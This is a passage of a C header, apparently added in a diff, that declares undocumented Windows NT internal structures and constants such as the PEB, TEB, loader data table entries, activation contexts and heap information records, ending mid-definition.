+ +typedef struct _BASE_SXS_CREATE_ACTIVATION_CONTEXT_MSG +{ + ULONG Flags; + USHORT ProcessorArchitecture; + UNICODE_STRING CultureFallbacks; + struct _BASE_MSG_SXS_STREAM Manifest; + struct _BASE_MSG_SXS_STREAM Policy; + UNICODE_STRING AssemblyDirectory; + UNICODE_STRING TextualAssemblyIdentity; + unsigned __int64 FileTime; + ULONG ResourceName; + PVOID ActivationContextData; + struct _ACTIVATION_CONTEXT_RUN_LEVEL_INFORMATION RunLevel; + UNICODE_STRING AssemblyName; +} BASE_SXS_CREATE_ACTIVATION_CONTEXT_MSG, *PBASE_SXS_CREATE_ACTIVATION_CONTEXT_MSG; // + + + +typedef struct _BASE_API_MSG +{ + PORT_MESSAGE h; + struct _CSR_CAPTURE_HEADER* CaptureBuffer; + CSR_API_NUMBER ApiNumber; + ULONG ReturnValue; + ULONG Reserved; + union + { /* size 0xb0*/ + BASE_NLS_SET_USER_INFO_MSG NlsSetUserInfo; + BASE_NLS_GET_USER_INFO_MSG NlsGetUserInfo; + BASE_NLS_UPDATE_CACHE_COUNT_MSG NlsCacheUpdateCount; + BASE_SHUTDOWNPARAM_MSG ShutdownParam; + BASE_CREATEPROCESS_MSG CreateProcess; + BASE_DEFERREDCREATEPROCESS_MSG DeferredCreateProcess; + BASE_CREATETHREAD_MSG CreateThread; + BASE_GETTEMPFILE_MSG GetTempFile; + BASE_EXITPROCESS_MSG ExitProcess; + BASE_DEBUGPROCESS_MSG DebugProcess; + BASE_CHECKVDM_MSG CheckVDM; + BASE_UPDATE_VDM_ENTRY_MSG UpdateVDMEntry; + BASE_GET_NEXT_VDM_COMMAND_MSG GetNextVDMCommand; + BASE_EXIT_VDM_MSG ExitVDM; + BASE_IS_FIRST_VDM_MSG IsFirstVDM; + BASE_GET_VDM_EXIT_CODE_MSG GetVDMExitCode; + BASE_SET_REENTER_COUNT SetReenterCount; + BASE_GET_SET_VDM_CUR_DIRS_MSG GetSetVDMCurDirs; + BASE_BAT_NOTIFICATION_MSG BatNotification; + BASE_REGISTER_WOWEXEC_MSG RegisterWowExec; + BASE_SOUNDSENTRY_NOTIFICATION_MSG SoundSentryNotification; + BASE_REFRESHINIFILEMAPPING_MSG RefreshIniFileMapping; + BASE_DEFINEDOSDEVICE_MSG DefineDosDeviceApi; + BASE_SET_TERMSRVAPPINSTALLMODE SetTermsrvAppInstallMode; + BASE_SET_TERMSRVCLIENTTIMEZONE SetTermsrvClientTimeZone; + BASE_SXS_CREATE_ACTIVATION_CONTEXT_MSG SxsCreateActivationContext; + } u; +} BASE_API_MSG, *PBASE_API_MSG; // + +typedef struct _BASE_STATIC_SERVER_DATA +{ + UNICODE_STRING WindowsDirectory; + UNICODE_STRING WindowsSystemDirectory; + UNICODE_STRING NamedObjectDirectory; + USHORT WindowsMajorVersion; + USHORT WindowsMinorVersion; + USHORT BuildNumber; + USHORT CSDNumber; + USHORT RCNumber; + WCHAR CSDVersion[128]; + SYSTEM_BASIC_INFORMATION SysInfo; + SYSTEM_TIMEOFDAY_INFORMATION TimeOfDay; + struct _INIFILE_MAPPING* IniFileMapping; + NLS_USER_INFO NlsUserInfo; + UCHAR DefaultSeparateVDM; + UCHAR IsWowTaskReady; + UNICODE_STRING WindowsSys32x86Directory; + UCHAR fTermsrvAppInstallMode; + RTL_DYNAMIC_TIME_ZONE_INFORMATION tziTermsrvClientTimeZone; + KSYSTEM_TIME ktTermsrvClientBias; + ULONG TermsrvClientTimeZoneId; + UCHAR LUIDDeviceMapsEnabled; + ULONG TermsrvClientTimeZoneChangeNum; +} BASE_STATIC_SERVER_DATA, *PBASE_STATIC_SERVER_DATA; // + +#define GDI_BATCH_BUFFER_SIZE 310 + +typedef struct _GDI_TEB_BATCH { + ULONG Offset; + UCHAR Alignment[4]; + ULONG_PTR HDC; + ULONG Buffer[GDI_BATCH_BUFFER_SIZE]; +} GDI_TEB_BATCH,*PGDI_TEB_BATCH; + +typedef enum _EVENT_TYPE { + NotificationEvent, + SynchronizationEvent +} EVENT_TYPE; + +typedef enum _TIMER_TYPE { + NotificationTimer, + SynchronizationTimer +} TIMER_TYPE; + +typedef enum _WAIT_TYPE { + WaitAll, + WaitAny +} WAIT_TYPE; + +#define STATIC_UNICODE_BUFFER_LENGTH 261 +#define WIN32_CLIENT_INFO_LENGTH 62 + +#define WIN32_CLIENT_INFO_SPIN_COUNT 1 + +typedef PVOID* PPVOID; + +#define TLS_MINIMUM_AVAILABLE 64 + +typedef struct _ASSEMBLY_STORAGE_MAP_ENTRY { + + ULONG Flags; + UNICODE_STRING DosPath; + PVOID Handle; +} ASSEMBLY_STORAGE_MAP_ENTRY, *PASSEMBLY_STORAGE_MAP_ENTRY; + +typedef struct _ASSEMBLY_STORAGE_MAP { + + ULONG Flags; + ULONG AssemblyCount; + struct _ASSEMBLY_STORAGE_MAP_ENTRY** AssemblyArray; +} ASSEMBLY_STORAGE_MAP, *PASSEMBLY_STORAGE_MAP; + +typedef struct _ACTIVATION_CONTEXT_DATA { + ULONG Magic; + ULONG HeaderSize; + ULONG FormatVersion; + ULONG TotalSize; + ULONG DefaultTocOffset; + ULONG ExtendedTocOffset; + ULONG AssemblyRosterOffset; + ULONG Flags; +} ACTIVATION_CONTEXT_DATA, *PACTIVATION_CONTEXT_DATA; + +typedef struct _ACTIVATION_CONTEXT { + + LONG RefCount; + ULONG Flags; + LIST_ENTRY Links; + struct _ACTIVATION_CONTEXT_DATA* ActivationContextData; + //void (NotificationRoutine)(unsigned long, struct _ACTIVATION_CONTEXT*, void*, void*, void*, unsigned char*); + struct _ACTIVATION_CONTEXT* NotificationRoutine; + PVOID NotificationContext; + ULONG SentNotifications[8]; + ULONG DisabledNotifications[8]; + struct _ASSEMBLY_STORAGE_MAP StorageMap; + struct _ASSEMBLY_STORAGE_MAP_ENTRY* InlineStorageMapEntries[32]; + ULONG StackTraceIndex; + PVOID StackTraces[4][4]; +} ACTIVATION_CONTEXT, *PACTIVATION_CONTEXT; // + +typedef struct _PEB_FREE_BLOCK { + struct _PEB_FREE_BLOCK *Next; + ULONG Size; +} PEB_FREE_BLOCK, *PPEB_FREE_BLOCK; + +typedef struct _PEB_LDR_DATA +{ + ULONG Length; + BOOLEAN Initialized; + HANDLE SsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID EntryInProgress; + BOOLEAN ShutdownInProgress; + HANDLE ShutdownThreadId; +} PEB_LDR_DATA, *PPEB_LDR_DATA; + +typedef struct _INITIAL_TEB +{ + struct + { + PVOID OldStackBase; + PVOID OldStackLimit; + } OldInitialTeb; + + PVOID StackBase; + PVOID StackLimit; + PVOID StackAllocationBase; + +} INITIAL_TEB, *PINITIAL_TEB; + +typedef struct _WOW64_PROCESS +{ + PVOID Wow64; +} WOW64_PROCESS, *PWOW64_PROCESS; + +// +// Private flags for loader data table entries +// + +#define LDRP_STATIC_LINK 0x00000002 +#define LDRP_IMAGE_DLL 0x00000004 +#define LDRP_LOAD_IN_PROGRESS 0x00001000 +#define LDRP_UNLOAD_IN_PROGRESS 0x00002000 +#define LDRP_ENTRY_PROCESSED 0x00004000 +#define LDRP_ENTRY_INSERTED 0x00008000 +#define LDRP_CURRENT_LOAD 0x00010000 +#define LDRP_FAILED_BUILTIN_LOAD 0x00020000 +#define LDRP_DONT_CALL_FOR_THREADS 0x00040000 +#define LDRP_PROCESS_ATTACH_CALLED 0x00080000 +#define LDRP_DEBUG_SYMBOLS_LOADED 0x00100000 +#define LDRP_IMAGE_NOT_AT_BASE 0x00200000 +#define LDRP_COR_IMAGE 0x00400000 +#define LDRP_COR_OWNS_UNMAP 0x00800000 +#define LDRP_SYSTEM_MAPPED 0x01000000 +#define LDRP_IMAGE_VERIFYING 0x02000000 +#define LDRP_DRIVER_DEPENDENT_DLL 0x04000000 +#define LDRP_ENTRY_NATIVE 0x08000000 +#define LDRP_REDIRECTED 0x10000000 +#define LDRP_NON_PAGED_DEBUG_INFO 0x20000000 +#define LDRP_MM_LOADED 0x40000000 +#define LDRP_COMPAT_DATABASE_PROCESSED 0x80000000 + +#define LDR_GET_DLL_HANDLE_EX_UNCHANGED_REFCOUNT 0x00000001 +#define LDR_GET_DLL_HANDLE_EX_PIN 0x00000002 + +#define LDR_ADDREF_DLL_PIN 0x00000001 + +#define LDR_GET_PROCEDURE_ADDRESS_DONT_RECORD_FORWARDER 0x00000001 + +#define LDR_LOCK_LOADER_LOCK_FLAG_RAISE_ON_ERRORS 0x00000001 +#define LDR_LOCK_LOADER_LOCK_FLAG_TRY_ONLY 0x00000002 + +#define LDR_LOCK_LOADER_LOCK_DISPOSITION_INVALID 0 +#define LDR_LOCK_LOADER_LOCK_DISPOSITION_LOCK_ACQUIRED 1 +#define LDR_LOCK_LOADER_LOCK_DISPOSITION_LOCK_NOT_ACQUIRED 2 + +#define LDR_UNLOCK_LOADER_LOCK_FLAG_RAISE_ON_ERRORS 0x00000001 + +#define LDR_DLL_NOTIFICATION_REASON_LOADED 1 +#define LDR_DLL_NOTIFICATION_REASON_UNLOADED 2 + +typedef struct _LDR_DLL_LOADED_NOTIFICATION_DATA +{ + ULONG Flags; + PUNICODE_STRING FullDllName; + PUNICODE_STRING BaseDllName; + PVOID DllBase; + ULONG SizeOfImage; +} LDR_DLL_LOADED_NOTIFICATION_DATA, *PLDR_DLL_LOADED_NOTIFICATION_DATA; + +typedef struct _LDR_DLL_UNLOADED_NOTIFICATION_DATA +{ + ULONG Flags; + PCUNICODE_STRING FullDllName; + PCUNICODE_STRING BaseDllName; + PVOID DllBase; + ULONG SizeOfImage; +} LDR_DLL_UNLOADED_NOTIFICATION_DATA, *PLDR_DLL_UNLOADED_NOTIFICATION_DATA; + +typedef union _LDR_DLL_NOTIFICATION_DATA +{ + LDR_DLL_LOADED_NOTIFICATION_DATA Loaded; + LDR_DLL_UNLOADED_NOTIFICATION_DATA Unloaded; +} LDR_DLL_NOTIFICATION_DATA, *PLDR_DLL_NOTIFICATION_DATA; + +typedef VOID (NTAPI *PLDR_DLL_NOTIFICATION_FUNCTION)( + IN ULONG NotificationReason, + IN PLDR_DLL_NOTIFICATION_DATA NotificationData, + IN OPTIONAL PVOID Context + ); + +typedef struct _RTL_PROCESS_MODULE_INFORMATION +{ + HANDLE Section; + PVOID MappedBase; + PVOID ImageBase; + ULONG ImageSize; + ULONG Flags; + USHORT LoadOrderIndex; + USHORT InitOrderIndex; + USHORT LoadCount; + USHORT OffsetToFileName; + UCHAR FullPathName[256]; +} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION; + +typedef struct _RTL_PROCESS_MODULES +{ + ULONG NumberOfModules; + RTL_PROCESS_MODULE_INFORMATION Modules[1]; +} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES; + +typedef struct _RTL_PROCESS_MODULE_INFORMATION_EX +{ + USHORT NextOffset; + RTL_PROCESS_MODULE_INFORMATION BaseInfo; + ULONG ImageChecksum; + ULONG TimeDateStamp; + PVOID DefaultBase; +} RTL_PROCESS_MODULE_INFORMATION_EX, *PRTL_PROCESS_MODULE_INFORMATION_EX; + +// +// Loader Data Table. Used to track DLLs loaded into an +// image. +// +#ifdef __cplusplus +struct LIST_ENTRY_EX : public LIST_ENTRY +{ + BYTE unk1[8]; + HANDLE base; + BYTE unk2[20]; + WCHAR* name; +}; +#endif + +typedef struct _LDR_DATA_TABLE_ENTRY +{ + LIST_ENTRY InLoadOrderLinks; + LIST_ENTRY InMemoryOrderLinks; + LIST_ENTRY InInitializationOrderLinks; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + USHORT LoadCount; + USHORT TlsIndex; + union + { + LIST_ENTRY HashLinks; + struct + { + PVOID SectionPointer; + ULONG CheckSum; + }; + }; + union + { + ULONG TimeDateStamp; + PVOID LoadedImports; + }; + PVOID EntryPointActivationContext; + PVOID PatchInformation; + LIST_ENTRY ForwarderLinks; + LIST_ENTRY ServiceTagLinks; + LIST_ENTRY StaticLinks; + PVOID ContextInformation; + ULONG_PTR OriginalBase; + LARGE_INTEGER LoadTime; +} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; + +typedef const struct _LDR_DATA_TABLE_ENTRY *PCLDR_DATA_TABLE_ENTRY; + +typedef NTSTATUS LDR_RELOCATE_IMAGE_RETURN_TYPE; + +struct _FLS_CALLBACK_INFO; + +typedef BOOLEAN (NTAPI *PDLL_INIT_ROUTINE)( + IN PVOID DllHandle, + IN ULONG Reason, + IN OPTIONAL PCONTEXT Context + ); + +#define DOS_MAX_COMPONENT_LENGTH 255 +#define DOS_MAX_PATH_LENGTH (DOS_MAX_COMPONENT_LENGTH + 5) + +#define RTL_USER_PROC_CURDIR_CLOSE 0x00000002 +#define RTL_USER_PROC_CURDIR_INHERIT 0x00000003 + +typedef struct _RTL_RELATIVE_NAME +{ + STRING RelativeName; + HANDLE ContainingDirectory; +} RTL_RELATIVE_NAME, *PRTL_RELATIVE_NAME; + +typedef struct _RTLP_CURDIR_REF *PRTLP_CURDIR_REF; + +typedef struct _RTL_RELATIVE_NAME_U +{ + UNICODE_STRING RelativeName; + HANDLE ContainingDirectory; + PRTLP_CURDIR_REF CurDirRef; +} RTL_RELATIVE_NAME_U, *PRTL_RELATIVE_NAME_U; + +typedef enum _RTL_PATH_TYPE +{ + RtlPathTypeUnknown, + RtlPathTypeUncAbsolute, + RtlPathTypeDriveAbsolute, + RtlPathTypeDriveRelative, + RtlPathTypeRooted, + RtlPathTypeRelative, + RtlPathTypeLocalDevice, + RtlPathTypeRootLocalDevice +} RTL_PATH_TYPE, *PRTL_PATH_TYPE; + +#define RTL_MAX_DRIVE_LETTERS 32 +#define RTL_DRIVE_LETTER_VALID (USHORT)0x0001 + +// 18/04/2011 updated +typedef struct _PEB +{ + BOOLEAN InheritedAddressSpace; + BOOLEAN ReadImageFileExecOptions; + BOOLEAN BeingDebugged; + union + { + BOOLEAN BitField; + struct + { + BOOLEAN ImageUsesLargePages : 1; + BOOLEAN IsProtectedProcess : 1; + BOOLEAN IsLegacyProcess : 1; + BOOLEAN IsImageDynamicallyRelocated : 1; + BOOLEAN SkipPatchingUser32Forwarders : 1; + BOOLEAN SpareBits : 3; + }; + }; + HANDLE Mutant; + + PVOID ImageBaseAddress; + PPEB_LDR_DATA Ldr; + PRTL_USER_PROCESS_PARAMETERS ProcessParameters; + PVOID SubSystemData; + PVOID ProcessHeap; + PRTL_CRITICAL_SECTION FastPebLock; + PVOID AtlThunkSListPtr; + PVOID IFEOKey; + union + { + ULONG CrossProcessFlags; + struct + { + ULONG ProcessInJob : 1; + ULONG ProcessInitializing : 1; + ULONG ProcessUsingVEH : 1; + ULONG ProcessUsingVCH : 1; + ULONG ProcessUsingFTH : 1; + ULONG ReservedBits0 : 27; + }; + ULONG EnvironmentUpdateCount; + }; + union + { + PVOID KernelCallbackTable; + PVOID UserSharedInfoPtr; + }; + ULONG SystemReserved[1]; + ULONG AtlThunkSListPtr32; + PVOID ApiSetMap; + ULONG TlsExpansionCounter; + PVOID TlsBitmap; + ULONG TlsBitmapBits[2]; + PVOID ReadOnlySharedMemoryBase; + PVOID HotpatchInformation; + PPVOID ReadOnlyStaticServerData; + PVOID AnsiCodePageData; + PVOID OemCodePageData; + PVOID UnicodeCaseTableData; + + ULONG NumberOfProcessors; + ULONG NtGlobalFlag; + + LARGE_INTEGER CriticalSectionTimeout; + SIZE_T HeapSegmentReserve; + SIZE_T HeapSegmentCommit; + SIZE_T HeapDeCommitTotalFreeThreshold; + SIZE_T HeapDeCommitFreeBlockThreshold; + + ULONG NumberOfHeaps; + ULONG MaximumNumberOfHeaps; + PPVOID ProcessHeaps; + + PVOID GdiSharedHandleTable; + PVOID ProcessStarterHelper; + ULONG GdiDCAttributeList; + + PRTL_CRITICAL_SECTION LoaderLock; + + ULONG OSMajorVersion; + ULONG OSMinorVersion; + USHORT OSBuildNumber; + USHORT OSCSDVersion; + ULONG OSPlatformId; + ULONG ImageSubsystem; + ULONG ImageSubsystemMajorVersion; + ULONG ImageSubsystemMinorVersion; + ULONG_PTR ImageProcessAffinityMask; + GDI_HANDLE_BUFFER GdiHandleBuffer; + PVOID PostProcessInitRoutine; + + PVOID TlsExpansionBitmap; + ULONG TlsExpansionBitmapBits[32]; + + ULONG SessionId; + + ULARGE_INTEGER AppCompatFlags; + ULARGE_INTEGER AppCompatFlagsUser; + PVOID pShimData; + PVOID AppCompatInfo; + + UNICODE_STRING CSDVersion; + + PVOID ActivationContextData; + PVOID ProcessAssemblyStorageMap; + PVOID SystemDefaultActivationContextData; + PVOID SystemAssemblyStorageMap; + + SIZE_T MinimumStackCommit; + + PPVOID FlsCallback; + LIST_ENTRY FlsListHead; + PVOID FlsBitmap; + ULONG FlsBitmapBits[FLS_MAXIMUM_AVAILABLE / (sizeof(ULONG) * 8)]; + ULONG FlsHighIndex; + + PVOID WerRegistrationData; + PVOID WerShipAssertPtr; + PVOID pContextData; + PVOID pImageHeaderHash; + union + { + ULONG TracingFlags; + struct + { + ULONG HeapTracingEnabled : 1; + ULONG CritSecTracingEnabled : 1; + ULONG SpareTracingBits : 30; + }; + }; +} PEB, *PPEB; + +// +// Fusion/sxs thread state information (aka, stuff noone cares about!) +// + +#define ACTIVATION_CONTEXT_STACK_FLAG_QUERIES_DISABLED (0x00000001) + +typedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME +{ + struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME* Previous; + struct _ACTIVATION_CONTEXT* ActivationContext; + ULONG Flags; +} RTL_ACTIVATION_CONTEXT_STACK_FRAME, *PRTL_ACTIVATION_CONTEXT_STACK_FRAME; + + +typedef struct _ACTIVATION_CONTEXT_STACK +{ + struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME * ActiveFrame; + struct _LIST_ENTRY FrameListCache; + ULONG Flags; + ULONG NextCookieSequenceNumber; + ULONG StackId; +} ACTIVATION_CONTEXT_STACK, * PACTIVATION_CONTEXT_STACK; + +typedef const ACTIVATION_CONTEXT_STACK * PCACTIVATION_CONTEXT_STACK; + +#define TEB_ACTIVE_FRAME_CONTEXT_FLAG_EXTENDED (0x00000001) + +typedef struct _TEB_ACTIVE_FRAME_CONTEXT +{ + ULONG Flags; + PSTR FrameName; +} TEB_ACTIVE_FRAME_CONTEXT, *PTEB_ACTIVE_FRAME_CONTEXT; + +typedef const TEB_ACTIVE_FRAME_CONTEXT *PCTEB_ACTIVE_FRAME_CONTEXT; + +typedef struct _TEB_ACTIVE_FRAME_CONTEXT_EX +{ + TEB_ACTIVE_FRAME_CONTEXT BasicContext; + PCSTR SourceLocation; // e.g. "c:\windows\system32\ntdll.dll" +} TEB_ACTIVE_FRAME_CONTEXT_EX, *PTEB_ACTIVE_FRAME_CONTEXT_EX; + +typedef const TEB_ACTIVE_FRAME_CONTEXT_EX *PCTEB_ACTIVE_FRAME_CONTEXT_EX; + +#define TEB_ACTIVE_FRAME_FLAG_EXTENDED (0x00000001) + +// 17/3/2011 updated +typedef struct _TEB_ACTIVE_FRAME +{ + ULONG Flags; + struct _TEB_ACTIVE_FRAME *Previous; + PTEB_ACTIVE_FRAME_CONTEXT Context; +} TEB_ACTIVE_FRAME, *PTEB_ACTIVE_FRAME; + +typedef const TEB_ACTIVE_FRAME *PCTEB_ACTIVE_FRAME; + +typedef struct _TEB_ACTIVE_FRAME_EX +{ + TEB_ACTIVE_FRAME BasicFrame; + PVOID ExtensionIdentifier; // use address of your DLL Main or something mapping in the address space +} TEB_ACTIVE_FRAME_EX, *PTEB_ACTIVE_FRAME_EX; + +typedef const TEB_ACTIVE_FRAME_EX *PCTEB_ACTIVE_FRAME_EX; + +// 18/04/2011 +typedef struct _TEB +{ + NT_TIB NtTib; + + PVOID EnvironmentPointer; + CLIENT_ID ClientId; + PVOID ActiveRpcHandle; + PVOID ThreadLocalStoragePointer; + PPEB ProcessEnvironmentBlock; + + ULONG LastErrorValue; + ULONG CountOfOwnedCriticalSections; + PVOID CsrClientThread; + PVOID Win32ThreadInfo; + ULONG User32Reserved[26]; + ULONG UserReserved[5]; + PVOID WOW32Reserved; + LCID CurrentLocale; + ULONG FpSoftwareStatusRegister; + PVOID SystemReserved1[54]; + NTSTATUS ExceptionCode; + PVOID ActivationContextStackPointer; +#if defined(_M_X64) + UCHAR SpareBytes[24]; +#else + UCHAR SpareBytes[36]; +#endif + ULONG TxFsContext; + + GDI_TEB_BATCH GdiTebBatch; + CLIENT_ID RealClientId; + HANDLE GdiCachedProcessHandle; + ULONG GdiClientPID; + ULONG GdiClientTID; + PVOID GdiThreadLocalInfo; + ULONG_PTR Win32ClientInfo[62]; + PVOID glDispatchTable[233]; + ULONG_PTR glReserved1[29]; + PVOID glReserved2; + PVOID glSectionInfo; + PVOID glSection; + PVOID glTable; + PVOID glCurrentRC; + PVOID glContext; + + NTSTATUS LastStatusValue; + UNICODE_STRING StaticUnicodeString; + WCHAR StaticUnicodeBuffer[261]; + + PVOID DeallocationStack; + PVOID TlsSlots[64]; + LIST_ENTRY TlsLinks; + + PVOID Vdm; + PVOID ReservedForNtRpc; + PVOID DbgSsReserved[2]; + + ULONG HardErrorMode; +#if defined(_M_X64) + PVOID Instrumentation[11]; +#else + PVOID Instrumentation[9]; +#endif + GUID ActivityId; + + PVOID SubProcessTag; + PVOID EtwLocalData; + PVOID EtwTraceData; + PVOID WinSockData; + ULONG GdiBatchCount; + + union + { + PROCESSOR_NUMBER CurrentIdealProcessor; + ULONG IdealProcessorValue; + struct + { + UCHAR ReservedPad0; + UCHAR ReservedPad1; + UCHAR ReservedPad2; + UCHAR IdealProcessor; + }; + }; + + ULONG GuaranteedStackBytes; + PVOID ReservedForPerf; + PVOID ReservedForOle; + ULONG WaitingOnLoaderLock; + PVOID SavedPriorityState; + ULONG_PTR SoftPatchPtr1; + PVOID ThreadPoolData; + PPVOID TlsExpansionSlots; +#if defined(_M_X64) + PVOID DeallocationBStore; + PVOID BStoreLimit; +#endif + ULONG MuiGeneration; + ULONG IsImpersonating; + PVOID NlsCache; + PVOID pShimData; + ULONG HeapVirtualAffinity; + HANDLE CurrentTransactionHandle; + PTEB_ACTIVE_FRAME ActiveFrame; + PVOID FlsData; + + PVOID PreferredLanguages; + PVOID UserPrefLanguages; + PVOID MergedPrefLanguages; + ULONG MuiImpersonation; + + union + { + USHORT CrossTebFlags; + USHORT SpareCrossTebBits : 16; + }; + union + { + USHORT SameTebFlags; + struct + { + USHORT SafeThunkCall : 1; + USHORT InDebugPrint : 1; + USHORT HasFiberData : 1; + USHORT SkipThreadAttach : 1; + USHORT WerInShipAssertCode : 1; + USHORT RanProcessInit : 1; + USHORT ClonedThread : 1; + USHORT SuppressDebugMsg : 1; + USHORT DisableUserStackWalk : 1; + USHORT RtlExceptionAttached : 1; + USHORT InitialThread : 1; + USHORT SpareSameTebBits : 1; + }; + }; + + PVOID TxnScopeEnterCallback; + PVOID TxnScopeExitCallback; + PVOID TxnScopeContext; + ULONG LockCount; + ULONG SpareUlong0; + PVOID ResourceRetValue; +} TEB, *PTEB; + +#define PcTeb 0x18 + +#define RtlGetCurrentProcessId() (HandleToUlong(NtCurrentTeb()->ClientId.UniqueProcess)) +#define RtlGetCurrentThreadId() (HandleToUlong(NtCurrentTeb()->ClientId.UniqueThread)) + +#define ZwCurrentProcess() NtCurrentProcess() + +// 17/3/2011 added +__inline struct _PEB * NtCurrentPeb() { return NtCurrentTeb()->ProcessEnvironmentBlock; } +#define WOWAddress() ( NtCurrentTeb()->WOW32Reserved ) +#define RtlProcessHeap() ( NtCurrentPeb()->ProcessHeap ) + +// 28/3/2011 added +#define RtlAcquireLockRoutine(L) RtlEnterCriticalSection((PRTL_CRITICAL_SECTION)(L)) + +// added 18.04.2011 +typedef struct _THREAD_BASIC_INFORMATION +{ + NTSTATUS ExitStatus; + PTEB TebBaseAddress; + CLIENT_ID ClientId; + KAFFINITY AffinityMask; + KPRIORITY Priority; + KPRIORITY BasePriority; +} THREAD_BASIC_INFORMATION, *PTHREAD_BASIC_INFORMATION; + +// added 20.12.11 +// Process Device Map information +// NtQueryInformationProcess using ProcessDeviceMap +// NtSetInformationProcess using ProcessDeviceMap +// +//#pragma pack (push, 1) +typedef struct _PROCESS_DEVICEMAP_INFORMATION { + union { + struct { + HANDLE DirectoryHandle; + } Set; + struct { + ULONG DriveMap; + UCHAR DriveType[ 32 ]; + } Query; + }; +} PROCESS_DEVICEMAP_INFORMATION, *PPROCESS_DEVICEMAP_INFORMATION; + +typedef struct _PROCESS_DEVICEMAP_INFORMATION_EX { + union { + struct { + HANDLE DirectoryHandle; + } Set; + struct { + ULONG DriveMap; + UCHAR DriveType[ 32 ]; + } Query; + }; + ULONG Flags; // specifies that the query type +} PROCESS_DEVICEMAP_INFORMATION_EX, *PPROCESS_DEVICEMAP_INFORMATION_EX; +//#pragma pack(pop) + +typedef struct _PROCESS_BASIC_INFORMATION +{ + NTSTATUS ExitStatus; + PPEB PebBaseAddress; + ULONG_PTR AffinityMask; + KPRIORITY BasePriority; + ULONG_PTR UniqueProcessId; + ULONG_PTR InheritedFromUniqueProcessId; +} PROCESS_BASIC_INFORMATION; +typedef PROCESS_BASIC_INFORMATION *PPROCESS_BASIC_INFORMATION; + +typedef struct _PROCESS_EXTENDED_BASIC_INFORMATION +{ + SIZE_T Size; // Must be set to structure size on input + PROCESS_BASIC_INFORMATION BasicInfo; + union + { + ULONG Flags; + struct + { + ULONG IsProtectedProcess : 1; + ULONG IsWow64Process : 1; + ULONG IsProcessDeleting : 1; + ULONG IsCrossSessionCreate : 1; + ULONG SpareBits : 28; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; +} PROCESS_EXTENDED_BASIC_INFORMATION, *PPROCESS_EXTENDED_BASIC_INFORMATION; + +typedef struct _RTL_HEAP_ENTRY +{ + SIZE_T Size; + USHORT Flags; + USHORT AllocatorBackTraceIndex; + union + { + struct + { + SIZE_T Settable; + ULONG Tag; + } s1; // All other heap entries + struct + { + SIZE_T CommittedSize; + PVOID FirstBlock; + } s2; // RTL_SEGMENT + } u; +} RTL_HEAP_ENTRY, *PRTL_HEAP_ENTRY; + +#define RTL_HEAP_BUSY (USHORT)0x0001 +#define RTL_HEAP_SEGMENT (USHORT)0x0002 +#define RTL_HEAP_SETTABLE_VALUE (USHORT)0x0010 +#define RTL_HEAP_SETTABLE_FLAG1 (USHORT)0x0020 +#define RTL_HEAP_SETTABLE_FLAG2 (USHORT)0x0040 +#define RTL_HEAP_SETTABLE_FLAG3 (USHORT)0x0080 +#define RTL_HEAP_SETTABLE_FLAGS (USHORT)0x00E0 +#define RTL_HEAP_UNCOMMITTED_RANGE (USHORT)0x0100 +#define RTL_HEAP_PROTECTED_ENTRY (USHORT)0x0200 + +typedef struct _RTL_HEAP_TAG +{ + ULONG NumberOfAllocations; + ULONG NumberOfFrees; + SIZE_T BytesAllocated; + USHORT TagIndex; + USHORT CreatorBackTraceIndex; + WCHAR TagName[ 24 ]; +} RTL_HEAP_TAG, *PRTL_HEAP_TAG; + +typedef struct _RTL_HEAP_INFORMATION +{ + PVOID BaseAddress; + ULONG Flags; + USHORT EntryOverhead; + USHORT CreatorBackTraceIndex; + SIZE_T BytesAllocated; + SIZE_T BytesCommitted; + ULONG NumberOfTags; + ULONG NumberOfEntries; + ULONG NumberOfPseudoTags; + ULONG PseudoTagGranularity; + ULONG Reserved[ 5 ]; + PRTL_HEAP_TAG Tags; + PRTL_HEAP_ENTRY Entries; +} RTL_HEAP_INFORMATION, *PRTL_HEAP_INFORMATION; + +typedef struct _RTL_PROCESS_HEAPS +{ + ULONG NumberOfHeaps; + RTL_HEAP_INFORMATION Heaps[ 1 ]; +} RTL_PROCESS_HEAPS, *PRTL_PROCESS_HEAPS; + +typedef struct _RTL_PROCESS_LOCK_INFORMATION +{ + PVOID Address; + USHORT Type; + USHORT CreatorBackTraceIndex; + + HANDLE OwningThread; // from the thread's ClientId->UniqueThread + LONG LockCount; + ULONG ContentionCount; + ULONG EntryCount; + + // + // The following fields are only valid for Type == RTL_CRITSECT_TYPE + // + + LONG RecursionCount; + + // + // The following fields are only valid for Type == RTL_RESOURCE_TYPE + // + + ULONG NumberOfWaitingShared; + ULONG NumberOfWaitingExclusive; +} RTL_PROCESS_LOCK_INFORMATION, *PRTL_PROCESS_LOCK_INFORMATION; + +// do not name SHA_CTX, if using OpenSSL or such... produces errors. +typedef struct { + ULONG Unknown[6]; + ULONG State[5]; + ULONG Count[2]; + UCHAR Buffer[64]; +} ASHA_CTX, *PSHA_CTX; + +struct _CONTEXT; +struct _EXCEPTION_RECORD; + +// note, winnt.h ... such the pain-in-ass with this structure. +#if !defined(_WINNT_) +typedef +EXCEPTION_DISPOSITION +(*PEXCEPTION_ROUTINE) ( + IN struct _EXCEPTION_RECORD *ExceptionRecord, + IN PVOID EstablisherFrame, + IN OUT struct _CONTEXT *ContextRecord, + IN OUT PVOID DispatcherContext + ); + +typedef struct _EXCEPTION_REGISTRATION_RECORD { + struct _EXCEPTION_REGISTRATION_RECORD *Next; + PEXCEPTION_ROUTINE Handler; +} EXCEPTION_REGISTRATION_RECORD; + +typedef EXCEPTION_REGISTRATION_RECORD *PEXCEPTION_REGISTRATION_RECORD; +#endif + +#if !defined(POINTER_64) +#define POINTER_64 __ptr64 +typedef unsigned __int64 POINTER_64_INT; +#if defined(_M_X64) +#define POINTER_32 __ptr32 +#else +#define POINTER_32 +#endif +#endif + +typedef enum _NT_PRODUCT_TYPE +{ + NtProductWinNt = 1, + 